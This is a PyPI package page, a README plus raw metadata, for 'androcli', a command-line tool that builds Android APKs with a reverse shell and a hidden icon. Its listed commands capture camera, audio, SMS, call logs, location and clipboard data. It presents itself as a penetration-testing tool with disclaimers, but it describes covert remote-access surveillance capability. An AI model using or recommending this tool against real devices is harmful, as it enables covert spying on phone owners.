# AndroCliW - Android CLI Tool
[](https://badge.fury.io/py/androcli)
[](https://pypi.org/project/androcli/)
[](https://opensource.org/licenses/MIT)
AndroCliW is a powerful command-line tool for Android penetration testing and reverse shell operations. This tool allows you to build APK files with reverse shell capabilities and interact with Android devices remotely.
## Features
- 🔧 **APK Building**: Build custom APK files with reverse shell capabilities
- 🌐 **Ngrok Integration**: Use ngrok for tunneling connections
- 📱 **Remote Shell**: Get interactive shell access to Android devices
- 🎯 **Penetration Testing**: Designed for security professionals and researchers
- 🔒 **Stealth Options**: Configurable icon visibility for stealth operations
## Installation
### From PyPI (Recommended)
```bash
pip install androcli
```
### From Source
```bash
git clone https://github.com/AryanVBW/androcli.git
cd androcli
pip install -e .
```
## Requirements
- Python 3.6 - 3.8
- Java 8 (for APK building)
- Android SDK (optional, for advanced features)
## Usage
### Basic Commands
```bash
# Build an APK with reverse shell
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME>
# Start shell listener
androcli --shell -i <IP_ADDRESS> -p <PORT>
# Build APK with ngrok tunneling
androcli --build --ngrok -p <PORT> -o <OUTPUT_APK_NAME>
# Build APK with hidden icon
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME> --icon
```
### Command Line Options
- `--build`: Build the APK file
- `--shell`: Start the shell listener
- `--ngrok`: Use ngrok for tunneling
- `-i, --ip <IP>`: Specify the IP address
- `-p, --port <PORT>`: Specify the port number
- `-o, --output <NAME>`: Specify the output APK name
- `--icon`: Make the app icon visible (default: hidden)
### Shell Commands
Once connected to a device, you can use various commands:
- `deviceInfo`: Get basic device information
- `camList`: List available cameras
- `takepic [cameraID]`: Take a picture
- `startVideo [cameraID]`: Start video recording
- `stopVideo`: Stop video recording
- `startAudio`: Start audio recording
- `stopAudio`: Stop audio recording
- `getSMS [inbox|sent]`: Get SMS messages
- `getCallLogs`: Get call logs
- `shell`: Start interactive shell
- `vibrate [times]`: Vibrate the device
- `getLocation`: Get device location
- `getIP`: Get device IP address
- `getSimDetails`: Get SIM card details
- `getClipData`: Get clipboard data
- `getMACAddress`: Get MAC address
- `clear`: Clear screen
- `exit`: Exit the session
## Project Structure
```
androcli/
├── androcli/
│ ├── __init__.py
│ ├── main.py
│ └── utils.py
├── Android_Code/ # Android source code
├── Compiled_apk/ # Pre-compiled APK template
├── Jar_utils/ # Java utilities (apktool, signing)
├── Dumps/ # Output directory for captured data
├── setup.py
├── requirements.txt
└── README.md
```
## Security Notice
⚠️ **Important**: This tool is designed for educational purposes and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before using this tool on any devices or networks. Unauthorized access to computer systems is illegal.
## Legal Disclaimer
This tool is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any systems you do not own.
## Contributing
Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
## Author
**AryanVBW**
- Email: whitedevil367467@gmail.com
- GitHub: [@AryanVBW](https://github.com/AryanVBW)
## Support
If you encounter any issues or have questions, please [open an issue](https://github.com/AryanVBW/androcli/issues) on GitHub.
---
**Note**: This tool requires Java 8 for APK building functionality. Make sure you have the appropriate Java version installed and configured in your system PATH.
Raw data
{
"_id": null,
"home_page": "https://github.com/AryanVBW/androcli",
"name": "androcli",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.6",
"maintainer_email": null,
"keywords": "android, reverse-shell, apk, cli, security, penetration-testing",
"author": "AryanVBW",
"author_email": "AryanVBW <whitedevil367467@gmail.com>",
"download_url": "https://files.pythonhosted.org/packages/b3/58/911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6/androcli-1.0.0.tar.gz",
"platform": null,
"description": "# AndroCliW - Android CLI Tool\n\n[](https://badge.fury.io/py/androcli)\n[](https://pypi.org/project/androcli/)\n[](https://opensource.org/licenses/MIT)\n\nAndroCliW is a powerful command-line tool for Android penetration testing and reverse shell operations. This tool allows you to build APK files with reverse shell capabilities and interact with Android devices remotely.\n\n## Features\n\n- \ud83d\udd27 **APK Building**: Build custom APK files with reverse shell capabilities\n- \ud83c\udf10 **Ngrok Integration**: Use ngrok for tunneling connections\n- \ud83d\udcf1 **Remote Shell**: Get interactive shell access to Android devices\n- \ud83c\udfaf **Penetration Testing**: Designed for security professionals and researchers\n- \ud83d\udd12 **Stealth Options**: Configurable icon visibility for stealth operations\n\n## Installation\n\n### From PyPI (Recommended)\n\n```bash\npip install androcli\n```\n\n### From Source\n\n```bash\ngit clone https://github.com/AryanVBW/androcli.git\ncd androcli\npip install -e .\n```\n\n## Requirements\n\n- Python 3.6 - 3.8\n- Java 8 (for APK building)\n- Android SDK (optional, for advanced features)\n\n## Usage\n\n### Basic Commands\n\n```bash\n# Build an APK with reverse shell\nandrocli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME>\n\n# Start shell listener\nandrocli --shell -i <IP_ADDRESS> -p <PORT>\n\n# Build APK with ngrok tunneling\nandrocli --build --ngrok -p <PORT> -o <OUTPUT_APK_NAME>\n\n# Build APK with hidden icon\nandrocli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME> --icon\n```\n\n### Command Line Options\n\n- `--build`: Build the APK file\n- `--shell`: Start the shell listener\n- `--ngrok`: Use ngrok for tunneling\n- `-i, --ip <IP>`: Specify the IP address\n- `-p, --port <PORT>`: Specify the port number\n- `-o, --output <NAME>`: Specify the output APK name\n- `--icon`: Make the app icon visible (default: hidden)\n\n### Shell Commands\n\nOnce connected to a device, you can use various commands:\n\n- `deviceInfo`: Get basic device information\n- `camList`: List available cameras\n- `takepic [cameraID]`: Take a picture\n- `startVideo [cameraID]`: Start video recording\n- `stopVideo`: Stop video recording\n- `startAudio`: Start audio recording\n- `stopAudio`: Stop audio recording\n- `getSMS [inbox|sent]`: Get SMS messages\n- `getCallLogs`: Get call logs\n- `shell`: Start interactive shell\n- `vibrate [times]`: Vibrate the device\n- `getLocation`: Get device location\n- `getIP`: Get device IP address\n- `getSimDetails`: Get SIM card details\n- `getClipData`: Get clipboard data\n- `getMACAddress`: Get MAC address\n- `clear`: Clear screen\n- `exit`: Exit the session\n\n## Project Structure\n\n```\nandrocli/\n\u251c\u2500\u2500 androcli/\n\u2502 \u251c\u2500\u2500 __init__.py\n\u2502 \u251c\u2500\u2500 main.py\n\u2502 \u2514\u2500\u2500 utils.py\n\u251c\u2500\u2500 Android_Code/ # Android source code\n\u251c\u2500\u2500 Compiled_apk/ # Pre-compiled APK template\n\u251c\u2500\u2500 Jar_utils/ # Java utilities (apktool, signing)\n\u251c\u2500\u2500 Dumps/ # Output directory for captured data\n\u251c\u2500\u2500 setup.py\n\u251c\u2500\u2500 requirements.txt\n\u2514\u2500\u2500 README.md\n```\n\n## Security Notice\n\n\u26a0\ufe0f **Important**: This tool is designed for educational purposes and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before using this tool on any devices or networks. Unauthorized access to computer systems is illegal.\n\n## Legal Disclaimer\n\nThis tool is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any systems you do not own.\n\n## Contributing\n\nContributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Author\n\n**AryanVBW**\n- Email: whitedevil367467@gmail.com\n- GitHub: [@AryanVBW](https://github.com/AryanVBW)\n\n## Support\n\nIf you encounter any issues or have questions, please [open an issue](https://github.com/AryanVBW/androcli/issues) on GitHub.\n\n---\n\n**Note**: This tool requires Java 8 for APK building functionality. Make sure you have the appropriate Java version installed and configured in your system PATH.\n",
"bugtrack_url": null,
"license": null,
"summary": "Android CLI tool for reverse shell operations and APK building",
"version": "1.0.0",
"project_urls": {
"Bug Reports": "https://github.com/AryanVBW/androcli/issues",
"Homepage": "https://github.com/AryanVBW/androcli",
"Source": "https://github.com/AryanVBW/androcli"
},
"split_keywords": [
"android",
" reverse-shell",
" apk",
" cli",
" security",
" penetration-testing"
],
"urls": [
{
"comment_text": null,
"digests": {
"blake2b_256": "1ad1b997eafd1c33176195dde714f4d9187944ef2969d61fb16ecf28a954dfef",
"md5": "720e4dfacb6681c6aa6830c294286853",
"sha256": "db0fa985eb9d03b14c5f6c3bd3d071f71c8d4b52f1330729ed8796b94127f6f9"
},
"downloads": -1,
"filename": "androcli-1.0.0-py3-none-any.whl",
"has_sig": false,
"md5_digest": "720e4dfacb6681c6aa6830c294286853",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.6",
"size": 28861573,
"upload_time": "2025-07-26T09:16:05",
"upload_time_iso_8601": "2025-07-26T09:16:05.741870Z",
"url": "https://files.pythonhosted.org/packages/1a/d1/b997eafd1c33176195dde714f4d9187944ef2969d61fb16ecf28a954dfef/androcli-1.0.0-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": null,
"digests": {
"blake2b_256": "b358911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6",
"md5": "68953d267ce40bc2eb4d217f9d4ffcfa",
"sha256": "dcf37c9eae75d53636e69ee46e416afe99bc0b22c46bb79282a7fcb2aa936e68"
},
"downloads": -1,
"filename": "androcli-1.0.0.tar.gz",
"has_sig": false,
"md5_digest": "68953d267ce40bc2eb4d217f9d4ffcfa",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.6",
"size": 26597374,
"upload_time": "2025-07-26T09:16:53",
"upload_time_iso_8601": "2025-07-26T09:16:53.410079Z",
"url": "https://files.pythonhosted.org/packages/b3/58/911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6/androcli-1.0.0.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2025-07-26 09:16:53",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "AryanVBW",
"github_project": "androcli",
"github_not_found": true,
"lcname": "androcli"
}
JSON
